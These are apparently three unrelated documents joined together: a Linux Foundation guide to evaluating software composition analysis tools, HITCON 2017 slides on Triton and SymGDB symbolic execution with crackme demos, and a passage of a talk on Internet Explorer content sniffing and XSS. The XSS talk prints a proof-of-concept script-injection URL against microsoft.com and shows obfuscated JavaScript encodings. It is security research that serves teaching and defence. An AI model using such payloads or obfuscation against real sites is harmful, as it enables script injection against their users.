Snippet scanners (code fragment -> copied from which OSS package(s)) • Dependency scanners (code -> which dependencies are included via a package manager) • License scanners (code -> OSS licenses?) • What languages are supported? If a language is supported, is that for snippet analysis as well? Package level only? Exact file matching? The Linux Foundation 5 An Open Guide To Evaluating Software Composition Analysis Tools (2) DETECTION CAPABILITIES (cont.) • Security scanners (code -> vulnerabilities?) • Other vulnerabilities detection techniques include search terms, email/URL detection, web service detection, etc. (3) EASE OF USE Ease of use is important because if all your engineers have access and use the scanning tool (versus only compliance engineers), you may avoid compliance problems way before they arise and before engineers integrate the new code with your build system. You would want an easy to use tool that minimizes the learning curve and avoid the need for costly professional training. • Intuitive design and user interface • Availability of local client or browser plugin • Availability of mobile client • Requires minimal to no training to run but training is provided to “ but understanding how to examine and evaluate the results Please note that ease of use is a very subjective criterion and hard to quantify or qualify. However, some tools are a lot easier to use and navigate than others. The Linux Foundation 6 An Open Guide To Evaluating Software Composition Analysis Tools (4) OPERATIONAL CAPABILITIES • Speed of source code scans: Speed of source code scans is a pain point for many products on the market today. For instance, one specific company designed and developed its own database that is perfectly suitable for manipulating the type of such data. As a result, they have lightning-fast scans that are exponentially faster than other existing tools. Furthermore, scans’ speed is particularly useful when you integrate the scanning tool with your continuous integration process. One aspect of being aware of is the question of speed when files are being skipped. Another is the question of whether actual copyright and license detection are happening or scan only of repository/package management files such as pom.xml. • Ability to use the tool for scans related to M&A activities without a licensing lock on usage models: Some tool vendors impose limitations via their licensing agreement on your ability to use the tool in scenarios outside just scanning code related to ongoing development efforts. You need to be aware of this fact and make sure that you can use the tool, for instance, for any M&A transaction your company is considering. • Support for different audit models: There are three audit models (discussed in the following chapter): traditional, blind, and DIY. All companies support the traditional model. Very few support DIY. Only one supports the blind audit model, which provides the most secure and private auditing model in M&A scenarios. • Programming language agnostic: Some tools are, by the admission of their creators, very good working with specific programming languages, and not so with others. This is interesting, as you would expect any scanning and identification engine to be agnostic to programming languages. Most tools are not; very few are agnostic to languages. • Ability to re-use scan clarification across the organization • Build system (CD/CI) agnostic (5) INTEGRATION CAPABILITIES • Provides APIs for easy integration and command-line interface (CLI): Using a scanning tool is not limited to UI-based usage. Ideally, companies want to integrate the tool with their existing development and build systems and processes. Such a scenario is doable if the scanning tool supports APIs and a CLI that would allow system administrators to interact with the tool outside the UI. • Support UI integration capabilities • Ability to integrate an organization’s compliance policies within the tool and have the rule flag code as it relates to the declared policies and rules The Linux Foundation 7 An Open Guide To Evaluating Software Composition Analysis Tools (6) SECURITY VULNERABILITIES DATABASE • Size of the vulnerabilities database—the number of vulnerabilities tracked across all projects: This database contains information about known security vulnerabilities that enable the tool to detect security-related problems in the source code. Please note the use of “source code” and not specifically open source code in the previous sentence. The reason being that developers may copy code snippets from open source components into proprietary or third-party components. If the copied code contained a known security vulnerability, then when you scan the proprietary component, your engine should be able to flag the vulnerability. • Frequency of update of the vulnerability database: Service providers update their databases regularly. The more frequent the update cycle, the better it is to find vulnerabilities as soon as they have been identified. • Number of sources of vulnerabilities information: Multiple sources can be used to populate the database of security vulnerabilities in open source components. When evaluating compliance tools that offer this service, we recommend investigating this aspect and exploring the updates’ actual mechanics. The various sources (direct and indirect) are used to collect information on security vulnerabilities and on which basis recommendations are presented to fix those vulnerabilities. • Any additional research conducted by the tool provider to validate vulnerabilities’ alerts • Precision (The rate at which vulnerabilities are True Positives). There are 4 levels of True Positives: 1. The vulnerable software has been correctly mapped to a dependency that is actually used in our proprietary software. 2. The dependency is used in a critical environment (runtime). 3. The proprietary software calls the vulnerable part of the dependency in a critical environment. 4. The vulnerability is exploitable. • Recall (How much of the potential universe of True vulnerabilities is found and correctly matched to the proprietary software?). In reality, this is impossible to know—comparisons between different solutions to estimate what solutions have the highest recall for a particular technology stack. • Capability of contextual vulnerability prioritization. General vulnerability severity scores, such as CVSS3, may be inaccurate depending on the proprietary software’s environment. Users should be able to contextualize the severity of vulnerabilities to prioritize working with the resolution of those security threats more accurately. The Linux Foundation 8 An Open Guide To Evaluating Software Composition Analysis Tools (7) ADVANCED VULNERABILITIES DISCOVERY METHOD Support for advanced vulnerability discovery—identifying a vulnerability when vulnerable code was copied into a new component (requires support of identifying source code snippets) (8) ASSOCIATED COSTS Several cost parameters need to be taken into consideration: • Infrastructure cost: IT infrastructure costs related to hosting the solution or using it via the cloud. It involves the usage of servers that customers need to buy, set up, and maintain, including the cost to upgrade that infrastructure. Depending on its size, the cost of a dedicated system administrator. • Operational cost: Cost related to managing the results that the tool provides. That involves inspecting and interpreting the results and taking appropriate action. A tool that auto-identifies false positives will lower the labor cost to identify those thousands of false positives manually. • Yearly licensing cost: The cost of the yearly software license for using the tool (cost per seat, unlimited seats), cost to access to SDK so you can integrate your internal tools with the scanning engine, and possibly the cost of any private customization that you want to introduce to fit your needs. • Initial cost to integrate with existing engineering/IT tools and infrastructure: Integration costs are hard to estimate, but they typically evolve about the ability to integrate the tool into your workflows and processes with minimal disruptions. • Ability to export project and other information, either for migration to a new system or to preserve knowledge if you leave a vendor • Lock-in cost (the cost to factor if you need to exit the solution and adopt something else): Companies often ignore or do not pay enough attention to the lock-in factor and costs associated with building the whole compliance environment around a specific tool. When choosing a new tool, we recommend putting enough consideration into this aspect. • Cost of engineering customization to meet your specific needs The Linux Foundation 9 An Open Guide To Evaluating Software Composition Analysis Tools (9) SUPPORT FOR DEPLOYMENT MODELS Support for various deployment models: • On-site only • Cloud only • Hybrid What information about your code and projects leave your networks? This should be crystal clear to the end-user: • Actual source and binary files content • Partial file content / string • Hashes • Inventory lists • Policy information • Compliance / non-compliance status (10) REPORTING CAPABILITIES • Ability to generate required compliance notices: Are notices based on actual scan results or pulled only from the knowledge base license information? • What about subcomponents or subfiles? Are actual copyrights/licenses included in notices? • What about notices for snippets of open source code? • Support for various reporting capabilities - the ability to export to various formats such as Excel / Spreadsheet. (including the availability of a sample detailed report) • Support for open standard formats (SPDX, SARIF, CVE, CVSS, etc.) The Linux Foundation 10 An Open Guide To Evaluating Software Composition Analysis Tools Conclusion This paper was created out of necessity due to a lack of a unified way to evaluate source code scanning and license identification tools. We hope that you find it helpful in capturing the important aspects of such tools when you are embarking on an evaluation journey of multiple tools, trying to decide which tool is more suitable for your specific needs. If you have suggestions for other metrics that should be covered, or updates to existing metrics, please feel free to directly provide your feedback via the live document on Google drive. Contributors The author would like to express his sincere gratitude to all the contributors to this paper. Their feedback and contributions helped shape this paper and improve it significantly. • Thomas Steenbergen, Head of Open Source at HERE Technologies • Gilles Gravier, Director, Senior Open Source and Blockchain Strategy Advisor, Wipro • Jeff Luszcz, Founder and CTO, Palamida • Gandharva Kumar, Senior Engineering Manager, GOJEK • Emil Wåreus, Head of Data Science, Debricked The Linux Foundation 11 An Open Guide To Evaluating Software Composition Analysis Tools Linux Foundation Open Source Compliance Resources The Linux Foundation hosts several community-driven projects focusing on collaborative approaches to managing licensing and compliance. These range from development of best practices, to specifications for inter-organizational exchanges of information, to the software tools needed to automate those exchanges. In particular, we would like to specifically mention the following: • Open Compliance Program: The Open Compliance Program website is a starting point for developers and lawyers, particularly those who are new to open source compliance considerations, to learn more about the tools and best practices that can make compliance easier. • ACT (Automating Compliance Tooling) seeks to improve software tooling for detecting and complying with open source licenses. Its goal is to improve the interoperability of open source compliance tools to enable compliance workflows that can be optimized for each company’s unique build and release process. • OpenChain defines the key requirements for an organization’s open source compliance program. It establishes a conformance program where companies can self-certify to these requirements, with the goal of improving transparency and communication of compliance information across supply chains. • SPDX (Software Package Data Exchange) is a specification for communicating Software Bill of Materials information in a standardized, human- and machine-readable format. It enables better communication of information, including license and copyright details, between organizations and interoperability between compliance tools. • Open Source Licensing Basics for Software Developers: Free online training on open source licensing and compliance tailored specifically for developers. • Whitepapers and blog posts: The Linux Foundation regularly develops and publishes content with recommendations for how to address open source legal issues that arise in day-to-day practice. Here are some representative examples: • Docker containers and license compliance: Blog—Whitepaper • Guide to Open Source Software for Procurement Professionals: Blog—Whitepaper The Linux Foundation 12 An Open Guide To Evaluating Software Composition Analysis Tools • Copyright Notices in OSS projects: Blog • Summary of GDPR concepts for OSS projects: Whitepaper • Practical GPL Compliance: Whitepaper • Open Source Compliance in the Enterprise: Ebook • Assessment of Open Source Practices as Part of Due Diligence in Merger and Acquisition Transactions: Ebook Disclaimer The opinions expressed in this paper are solely the author’s and do not necessarily represent the views of current or past employers. The author would like to apologize in advance for any error or omission and is open for feedback and updates via the online document. Author Ibrahim Haddad (Ph.D.) is the Executive Director of the LF AI & Data Foundation. He has held technology and portfolio management roles at Ericsson Research, the Open Source Development Labs, Motorola, Palm, Hewlett Packard, Samsung Research, and the Linux Foundation. He is known for his writing and speaking on topics ranging from legal compliance to using open source as an R&D tool to drive collaboration and innovation. Email: [email protected] LinkedIn: linkedin.com/in/ibrahimhaddad Twitter: @IbrahimAtLinux Web: ibrahimatlinux.com The Linux Foundation promotes, protects and standardizes Linux by providing unified resources and services needed for open source to successfully compete with closed platforms. To learn more about The Linux Foundation or our other initiatives please visit us at www.linuxfoundation.org
pdf
Triton  and  Symbolic execution  on  GDB bananaappletw @  HITCON 2017/08/26 $whoami • 陳威伯(bananaappletw) • Master  of  National  Chiao Tung University • Organizations: • Software  Quality  Laboratory • Bamboofox member • Vice  president  of  NCTUCSC • Specialize  in: • symbolic  execution • binary  exploit • Talks: • HITCON  CMT  2015 Outline • Why  symbolic  execution? • Symbolic  execution? • Triton • SymGDB Why  symbolic  execution? In  the  old  days • Static  analysis • Dynamic  analysis Static  analysis • objdump • IDA  PRO Dynamic  analysis • GDB • ltrace • strace Symbolic  execution!!! What  is  symbolic  execution? • Symbolic  execution  is  a  means  of  analyzing  a  program  to  determine what  inputs  cause  each  part  of  a  program  to  execute • System-­‐level • S2e(https://github.com/dslab-­‐epfl/s2e) • User-­‐level • Angr(http://angr.io/) • Triton(https://triton.quarkslab.com/) • Code-­‐based • klee(http://klee.github.io/) Symbolic  execution Z  ==  12 fail() "OK" Triton • Website:  https://triton.quarkslab.com/ • A  dynamic  binary  analysis  framework  written  in  C++. • developed  by  Jonathan  Salwan • Python  bindings • Triton  components: • Symbolic  execution  engine • Tracer • AST  representations • SMT  solver  Interface Triton  Structure Symbolic  execution  engine • The  symbolic  engine  maintains: • a  table  of  symbolic  registers  states • a  map  of  symbolic  memory  states • a  global  set  of  all  symbolic  references Step Register Instruction Set  of  symbolic  expressions init eax =  UNSET None ⊥ 1 eax =  φ1 mov eax,  0 {φ1=0} 2 eax =  φ2 inc eax {φ1=0,φ2=φ1+1} 3 eax  =  φ3 add  eax,  5 {φ1=0,φ2=φ1+1,φ3=φ2+5} Triton  Tracer • Tracer  provides: • Current  opcode  executed • State  context  (register  and  memory) • Translate  the  control  flow  into  AST  Representations • Pin  tracer  support AST  representations • Triton  converts  the  x86  and  the  x86-­‐64  instruction  set  semantics  into AST  representations • Triton's  expressions  are  on  SSA  form • Instruction:  add  rax,  rdx • Expression:  ref!41 =  (bvadd ((_  extract  63  0)  ref!40)  ((_  extract  63  0) ref!39)) • ref!41 is  the  new  expression  of  the  RAX  register • ref!40 is  the  previous  expression  of  the  RAX  register • ref!39 is  the  previous  expression  of  the  RDX  register AST  representations • mov al,  1 • mov cl,  10 • mov dl,  20 • xor cl,  dl • add  al,  cl Static  single  assignment  form(SSA  form) • Each  variable  is  assigned  exactly  once • y  :=  1 • y  :=  2 • x  :=  y Turns  into • y1  :=  1 • y2  :=  2 • x1  :=  y2 Why  SSA  form? y1  :=  1   (This assignment is not necessary) y2  :=  2 x1  :=  y2 • When Triton  process instructions,  it could ignore  some unnecessary instructions. • It saves time and  memory. Symbolic  variables • Imagine  symbolic  is  a  infection • Make  ecx as  symbolic  variable • convertRegisterToSymbolicVariable(REG.ECX) • isRegisterSymbolized(REG.ECX)  ==  True • test  ecx,  ecx (ZF  =  ECX  &  ECX  =  ECX) • je  +7  (isRegisterSymbolized(REG.EIP)  ==  True)(jump  to  nop if  ZF=1) • mov edx,  0x64 • nop SMT  solver  Interface Example • Defcamp 2015  r100 • Program  require  to  input  the  password • Password  length  could  up  to  255  characters Defcamp 2015  r100 Defcamp 2015  r100 Defcamp 2015  r100 • Set  Architecture • Load  segments  into  triton • Define  fake  stack  (  RBP  and  RSP  ) • Symbolize  user  input • Start  to  processing  opcodes • Set  constraint  on  specific  point  of  program • Get  symbolic  expression  and  solve  it Set  Architecture Load  segments  into  triton Define  fake  stack  (  RBP  and  RSP  ) Symbolize  user  input Start  to  processing  opcodes Get  symbolic  expression  and  solve  it Some  problems  of  Triton • The  whole  procedure  is  too  complicated • High  learning  cost  to  use  Triton • With  support  of  debugger,  many  steps  could  be  simplified SymGDB • Repo:  https://github.com/SQLab/symgdb • Symbolic  execution  support  for  GDB • Combined  with: • Triton • GDB  Python  API • Symbolic  environment • symbolize  argv Design  and  Implementation • GDB  Python  API • Failed  method • Successful  method • Flow • SymGDB System  Structure • Implementation  of  System  Internals • Relationship  between  SymGDB classes • Supported  Commands • Symbolic  Execution  Process  in  GDB • Symbolic  Environment • symbolic  argv • Debug  tips GDB  Python  API • API:  https://sourceware.org/gdb/onlinedocs/gdb/Python-­‐API.html • Source  python  script  in  .gdbinit • Functionalities: • Register  GDB  command • Register  event  handler  (ex:  breakpoint) • Execute  GDB  command  and  get  output • Read,  write,  search  memory Register  GDB  command Register  event  handler Execute  GDB  command  and  get  output Read memory Write  memory Failed  method • At  first,  I  try  to  use  Triton  callback  to  get  memory  and  register  values • Register  callbacks: • needConcreteMemoryValue • needConcreteRegisterValue • Process  the  following  sequence  of  code • mov eax,  5 • mov ebx,eax (Trigger  needConcreteRegisterValue) • We  need  to  set  Triton  context  of  eax Triton  callbacks Problems • Values  from  GDB  are  out  of  date • Consider  the  following  sequence  of  code • mov eax,  5 • We  set  breakpoint  here,  and  call  Triton's  processing() • mov ebx,eax (trigger  callback  to  get  eax value,  eax =  5) • mov eax,  10 • mov ecx,  eax (Trigger  again,  get  eax =  5) • Because  context  state  not  up  to  date Tried  solutions • Before  needed  value  derived  from  GDB,  check  if  it  is  not  in  the Triton's  context  yet Not  working! Triton  will  fall  into  infinite  loop Successful  method • Copy  GDB  context  into  Triton • Load  all  the  segments  into  Triton  context • Symbolic  execution  won't  affect  original  GDB  state • User  could  restart  symbolic  execution  from  breakpoint Flow • Get  debugged  program  state  by  calling  GDB  Python  API • Get  the  current  program  state  and  yield  to  triton • Set  symbolic  variable • Set  the  target  address • Run  symbolic  execution  and  get  output • Inject  back  to  debugged  program  state SymGDB System  Structure Implementation  of  System  Internals • Three  classes  in  the  symGDB • Arch(),  GdbUtil(),  Symbolic() • Arch() • Provide  different  pointer  size、register  name • GdbUtil() • Read  write  memory、read  write  register • Get  memory  mapping  of  program • Get  filename  and  detect  architecture • Get  argument  list • Symbolic() • Set  constraint  on  pc  register • Run  symbolic  execution Relationship  between  SymGDB classes Supported  Commands Command Option Functionality symbolize argv memory  [address][size] Make  symbolic target address Set  target  address triton None Run  symbolic  execution answer None Print  symbolic  variables debug symbolic gdb Show  debug  messages Symbolic  Execution  Process  in  GDB • gdb.execute("info  registers",  to_string=True)  to  get  registers • gdb.selected_inferior().read_memory(address,  length)  to  get  memory • setConcreteMemoryAreaValue and  setConcreteRegisterValue to  set triton  state • In  each  instruction,  use  isRegisterSymbolized to  check  if  pc  register  is symbolized  or  not • Set  target  address  as  constraint • Call  getModel to  get  answer • gdb.selected_inferior().write_memory(address,  buf,  length)  to  inject back  to  debugged  program  state Symbolic  Environment:  symbolic  argv • Using  "info  proc  all"  to  get  stack start  address • Examining  memory  content  from stack  start  address • argc • argv[0] • argv[1] • …… • null • env[0] • env[1] • …… • null argc argument  counter(integer) argv[0] program  name  (pointer) argv[1] program  args (pointers) … argv[argc-­‐1] null end  of  args (integer) env[0] environment  variables  (pointers) env[1] … env[n] null end  of  environment   (integer) Debug  tips • Simplify: https://github.com/JonathanSalwan/Triton/blob/master/src/example s/python/simplification.py Demo • Examples • crackme hash • crackme xor • GDB  commands • Combined  with  Peda crackme hash • Source: https://github.com/illera88/Ponce/blob/master/examples/crackme_h ash.cpp • Program  will  pass  argv[1]  to  check  function • In  check  function,  argv[1]  xor with  serial(fixed  string) • If  sum  of  xored result  equals  to  0xABCD • print  "Win" • else • print  "fail" crackme hash crackme hash crackme hash crackme xor • Source: https://github.com/illera88/Ponce/blob/master/examples/crackme_xor.cpp • Program  will  pass  argv[1]  to  check  function • In  check  function,  argv[1]  xor with  0x55 • If  xored result  not  equals  to  serial(fixed  string) • return  1 • print  "fail" • else • go  to  next  loop • If  program  go  through  all  the  loop • return  0 • print  "Win" crackme xor crackme xor crackme xor GDB  commands GDB  commands Combined  with  Peda • Same  demo  video  of  crackme hash • Using  find(peda command)  to  find  argv[1]  address • Using  symbolize  memory  argv[1]_address  argv[1]_length  to  symbolic argv[1]  memory Combined  with  Peda Drawbacks • Triton  doesn't  support  GNU  c  library • Why? • SMT  Semantics  Supported: https://triton.quarkslab.com/documentation/doxygen/SMT_Semanti cs_Supported_page.html • Triton  has  to  implement  system  call  interface  to  support  GNU  c  library a.k.a.  support  "int 0x80" Triton  versus  Angr Difference Triton Angr Architecture support x86 amd64 x86  amd64  arm  …… GNU  c  library support No Yes Path  explore No Yes References • Wiki:  https://en.wikipedia.org/wiki/Symbolic_execution • Triton:  https://triton.quarkslab.com/ • GDB  Python  API: https://sourceware.org/gdb/onlinedocs/gdb/Python-­‐API.html • Peda:  https://github.com/longld/peda • Ponce:  https://github.com/illera88/Ponce • Angr:  http://angr.io/ Bamboofox Q  &  A Thank  you
pdf
跟IE簽約成為XSS少⼥吧 Make a contract with IE and become a XSS girl! Yosuke HASEGAWA http://utf-8.jp/ 歉意 I'm sorry 謝罪 我從來沒有看過動畫作品 "魔法少⼥⼩圓☆魔⼒" I've never watched the anime "Puella Magi Madoka Magica" 「まどか☆マギカ」⾒てません 自我介紹 Who am I? 自己紹介 Yosuke HASEGAWA • NetAgent Co.,Ltd. R&D dept. • Secure Sky Technology Inc. technical adviser • Microsoft MVP for Consumer Security Oct 2005 - • http://utf-8.jp/ • 開發JavaScript的混淆工具 Writing obfuscated JavaScript 介紹:混淆JavaScript Introduction of obfuscated JavaScript 混淆JavaScript javascript:$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$, $_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$_ _:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$= $.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=( !""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+ "")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+ (![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___ +$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+", \\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$. _$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.__ _+$.__+"\\\" )"+"\"")())(); javascript:alert("Hello, JavaScript") jjencode - http://utf-8.jp/public/jjencode.html 還可以更人性化! Need more friendly! 表情符號JavaScript JS with emoticon ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o - (゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+ ((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); aaencode - http://utf-8.jp/public/aaencode.html 今天的主題 Today's topic 今天的主題 Today's topic • 瀏覽器的開發競賽激烈, 已進化到幾乎每天發佈新版本 Heating up developing race of browsers, New version of browsers are released day by day. ブラウザの開発競争が過熱し、 新バージョンのブラウザが毎 日のようにリリースされる 今天的主要話題 今天的主要話題 今天的主要話題 今天的主要話題 Today's topic • 即使舊版本瀏覽器還在產品支援期間, 漏洞卻依然長期被忽視 Vulnerabilities of old versions are neglected for a long time, although during the period of support. サポート期間中であるにも関 わらず、古いバージョンの脆 弱性は⻑い間放置される。 今天的主要話題 Today's topic • 尤其是微軟在IE6-8瀏覽器的許多問題,導 致 XSS. Especially Microsoft. There're many vulns on IE6-8 that causes XSS. 特にMicrosoft。IE6-8はXSS につながる問題がたくさん。 第1話 忽略 Content-Type Header Episode 1: Ignoring Content-Type Header 忽略 Content-Type Header Ignoring Content-Type Header • IE 長久以來的壞習慣 Bad habit of IE from old days • 提昇非 HTML 為 HTML 導致 XSS Elevating no-HTML to HTML causes XSS. HTMLではないものが HTMLに昇格してXSS 昔からのIEの悪癖 忽略 Content-Type Header Ignoring Content-Type Header • IE 用好幾個方法決定 FILE TYPE, 不只看 Content-Type. IE decides FILE TYPE of the content by several factors, not only "Content-Type" • 沒有說明的複雜機制 Complicated mechanism, undocumented. 文書化されていない複雑なメカニズム IEはContent-Typeだけでなく、様々な要因からファイル タイプを決定 忽略 Content-Type Header Ignoring Content-Type Header FILE TYPE 決定因素 Factors for deciding • "Content-Type" HTTP header 標頭 • "X-Content-Type-Option" HTTP 標頭 • Association information on Windows 登錄機碼 • IE configuration:"根據內容開啓檔案而不是根據副檔 名" "Open files based on content, not file extension" • URL itself • Contents body itself 忽略 Content-Type Header Ignoring Content-Type Header FILE TYPE 決定因素 Factors for deciding • "Content-Type" HTTP header 標頭 • "X-Content-Type-Option" HTTP 標頭 • Association information on Windows 登錄機 • IE configuration:"根據內容開啓檔案而不是根據副檔 名" "Open files based on content, not file extension" • URL itself • Contents body itself 忽略 Content-Type Header Ignoring Content-Type Header FILE TYPE 決定因素 Factors for deciding • "Content-Type" HTTP header 標頭 • "X-Content-Type-Option" HTTP 標頭 • Association information on Windows 登錄機 • IE configuration:"根據內容開啓檔案而不是根據副檔 名" "Open files based on content, not file extension" • URL itself • Contents body itself Y N Y N N Y Enabled Disabled Y N N Y Y N Y N Content-Type is registered in Registry? [ HKEY_CLASSES_ROOT\MIME\Database\Content Type ] determine tentative file-type need external plugin/apps? IE8+ && "X-Content-Type-Options:nosniff"? sniff content and determine file-type Extension of URL is ".cgi" or ".exe" or nothing( "/" ) ? e.g. http://utf-8.jp/a.cgi?abcd need external plugin/apps? launch plugin or download "Open files based on content, not file extension" use tentative file-type IE8+ && "X-Content-Type-Options:nosniff"? use tentative file-type determine tentative file-type by QUERY_STRING launch plugin or download sniff content and determine file-type sniff content and determine file-type need external plugin/apps? determine tentative file-type by extension of URL download launch plugin or download IE確定文件類型的機制Mechanism to determine file type of IE Yosuke HASEGAWA http://utf-8.jp/ In addition to these, there're some exceptions. IE確定文件類型的機制 Mechanism to determine file type of IE • Content-Type 註冊在登錄機碼? Content-Type is registered in Registry? Content-Typeがレジストリに登録されているか IE確定文件類型的機制 Mechanism to determine file type of IE • 嗅探內容,並確定文件類型 Sniff content and determine file-type. コンテンツの内容によってファイルタイプを決定 Content-Type: image/bmp IE確定文件類型的機制 Mechanism to determine file type of IE • 網址的副檔名, QUERY_STRING Extension of URL, QUERY_STRING URLの拡張子, QUERY_STRING http://example.jp/foo.cgi?param=abc&a.html http://example.jp/foo.exe?param=abc&a.html http://example.jp/foo?param=abc&a.html http://example.jp/foo/?param=abc&a.html http://example.jp/foo.php?param=abc&a.html http://example.jp/foo.php/a.html?param=abc filetype == html filetype != html filetype == html IE確定文件類型的機制 Mechanism to determine file type of IE • 總之很複雜! Anyway, Complicated! とにかく複雑 XSS案例 Case example https://www.microsoft.com/en-us/homepage/ bimapping.js/a.html?v=<script>alert(1)</script>&k... HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Date: Wed, 22 Jun 2011 13:53:37 GMT Content-Length: 2092 var <script>alert(1)</script>={"Webtrends":{"enabled":true,"sett ings":{"interactiontype":{"0":true,"1":true,"2":true,"3":true,"4":t rue,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true,"11":tr ue,"12":true,"13".... "text/javascript" is not registered in Registry XSS案例 Case example https://www.microsoft.com/en-us/homepage/ bimapping.js/a.html?v=<script>alert(1)</script>&k... HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Date: Wed, 22 Jun 2011 13:53:37 GMT Content-Length: 2092 var <script>alert(1)</script>={"Webtrends":{"enabled":true,"sett ings":{"interactiontype":{"0":true,"1":true,"2":true,"3":true,"4":t rue,"5":true,"6":true,"7":true,"8":true,"9":true,"10":true,"11":tr ue,"12":true,"13".... "text/javascript" is not registered in Registry IE確定文件類型的機制 Mechanism to determine file type of IE 對策 Countermeasure • Use "X-Content-Type- Options:nosniff" (only for IE8+) • Use only well-known Content-Type. don't use "text/javascript". 第2話 繞過Content-Disposition Header Bypass 1: 